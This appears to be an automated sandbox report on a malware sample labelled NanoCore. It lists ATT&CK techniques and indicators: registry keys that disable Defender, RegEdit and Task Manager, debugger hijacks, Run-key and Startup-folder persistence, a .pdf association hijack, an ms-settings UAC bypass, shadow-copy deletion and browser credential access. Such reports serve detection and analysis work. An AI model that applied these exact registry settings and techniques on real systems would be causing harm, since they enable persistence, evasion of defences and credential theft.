nanocore | 5dcfaa670ce7eee8abe67db64dc90a27cf1ceb8c43f5efea9a20dd27389e7927

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	vaoroizzl.cc_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3488	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	vaoroizzl.cc_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	vaoroizzl.cc_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2492	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	vaoroizzl.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	vaoroizzl.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	vaoroizzl.cc_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2876	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	vaoroizzl.cc_chrome.exe
File created	C:\Windows\system32\svchost.exe	vaoroizzl.cc_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	vaoroizzl.cc_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
916	wscript.exe
3928	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	vaoroizzl.cc_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1552	sc.exe
1708	sc.exe
5044	sc.exe
5728	sc.exe
4160	sc.exe
1244	sc.exe
1376	sc.exe
1580	sc.exe
2084	sc.exe
720	sc.exe
5696	sc.exe
3000	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6088	cmd.exe
4904	cmd.exe
3696	cmd.exe
5948	cmd.exe
4608	cmd.exe
3136	cmd.exe
3800	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2808	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1708	ipconfig.exe
4492	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2816	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5248	vssadmin.exe
5728	vssadmin.exe
6024	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	vaoroizzl.cc_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134311746993521133"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	vaoroizzl.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe\" \"%1\""	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vaoroizzl.cc_chrome.exe"	vaoroizzl.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	vaoroizzl.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	vaoroizzl.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	vaoroizzl.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	vaoroizzl.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	vaoroizzl.cc_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2388	schtasks.exe
1520	schtasks.exe
4748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe
200	WMIC.exe
200	WMIC.exe
200	WMIC.exe
200	WMIC.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
240	WMIC.exe
240	WMIC.exe
240	WMIC.exe
240	WMIC.exe
3760	vaoroizzl.cc_chrome.exe
616	WMIC.exe
616	WMIC.exe
616	WMIC.exe
616	WMIC.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe
3760	vaoroizzl.cc_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3760	vaoroizzl.cc_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeBackupPrivilege	3624	vssvc.exe
Token: SeRestorePrivilege	3624	vssvc.exe
Token: SeAuditPrivilege	3624	vssvc.exe
Token: SeIncreaseQuotaPrivilege	200	WMIC.exe
Token: SeSecurityPrivilege	200	WMIC.exe
Token: SeTakeOwnershipPrivilege	200	WMIC.exe
Token: SeLoadDriverPrivilege	200	WMIC.exe
Token: SeSystemProfilePrivilege	200	WMIC.exe
Token: SeSystemtimePrivilege	200	WMIC.exe
Token: SeProfSingleProcessPrivilege	200	WMIC.exe
Token: SeIncBasePriorityPrivilege	200	WMIC.exe
Token: SeCreatePagefilePrivilege	200	WMIC.exe
Token: SeBackupPrivilege	200	WMIC.exe
Token: SeRestorePrivilege	200	WMIC.exe
Token: SeShutdownPrivilege	200	WMIC.exe
Token: SeDebugPrivilege	200	WMIC.exe
Token: SeSystemEnvironmentPrivilege	200	WMIC.exe
Token: SeRemoteShutdownPrivilege	200	WMIC.exe
Token: SeUndockPrivilege	200	WMIC.exe
Token: SeManageVolumePrivilege	200	WMIC.exe
Token: 33	200	WMIC.exe
Token: 34	200	WMIC.exe
Token: 35	200	WMIC.exe
Token: 36	200	WMIC.exe
Token: SeIncreaseQuotaPrivilege	200	WMIC.exe
Token: SeSecurityPrivilege	200	WMIC.exe
Token: SeTakeOwnershipPrivilege	200	WMIC.exe
Token: SeLoadDriverPrivilege	200	WMIC.exe
Token: SeSystemProfilePrivilege	200	WMIC.exe
Token: SeSystemtimePrivilege	200	WMIC.exe
Token: SeProfSingleProcessPrivilege	200	WMIC.exe
Token: SeIncBasePriorityPrivilege	200	WMIC.exe
Token: SeCreatePagefilePrivilege	200	WMIC.exe
Token: SeBackupPrivilege	200	WMIC.exe
Token: SeRestorePrivilege	200	WMIC.exe
Token: SeShutdownPrivilege	200	WMIC.exe
Token: SeDebugPrivilege	200	WMIC.exe
Token: SeSystemEnvironmentPrivilege	200	WMIC.exe
Token: SeRemoteShutdownPrivilege	200	WMIC.exe
Token: SeUndockPrivilege	200	WMIC.exe
Token: SeManageVolumePrivilege	200	WMIC.exe
Token: 33	200	WMIC.exe
Token: 34	200	WMIC.exe
Token: 35	200	WMIC.exe
Token: 36	200	WMIC.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeIncreaseQuotaPrivilege	3488	powershell.exe
Token: SeSecurityPrivilege	3488	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3760	vaoroizzl.cc_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 2664	3760	vaoroizzl.cc_chrome.exe	89
PID 2664 wrote to memory of 1236	2664	chrome.exe	90
PID 3760 wrote to memory of 3488	3760	vaoroizzl.cc_chrome.exe	91
PID 3760 wrote to memory of 1552	3760	vaoroizzl.cc_chrome.exe	93
PID 2664 wrote to memory of 2808	2664	chrome.exe	95
PID 2664 wrote to memory of 5992	2664	chrome.exe	97
PID 2664 wrote to memory of 5992	2664	chrome.exe	97
PID 3760 wrote to memory of 1376	3760	vaoroizzl.cc_chrome.exe	98
PID 2664 wrote to memory of 2708	2664	chrome.exe	96
PID 2664 wrote to memory of 2708	2664	chrome.exe	96
PID 2664 wrote to memory of 2344	2664	chrome.exe	102
PID 2664 wrote to memory of 5712	2664	chrome.exe	103
PID 2664 wrote to memory of 2344	2664	chrome.exe	102
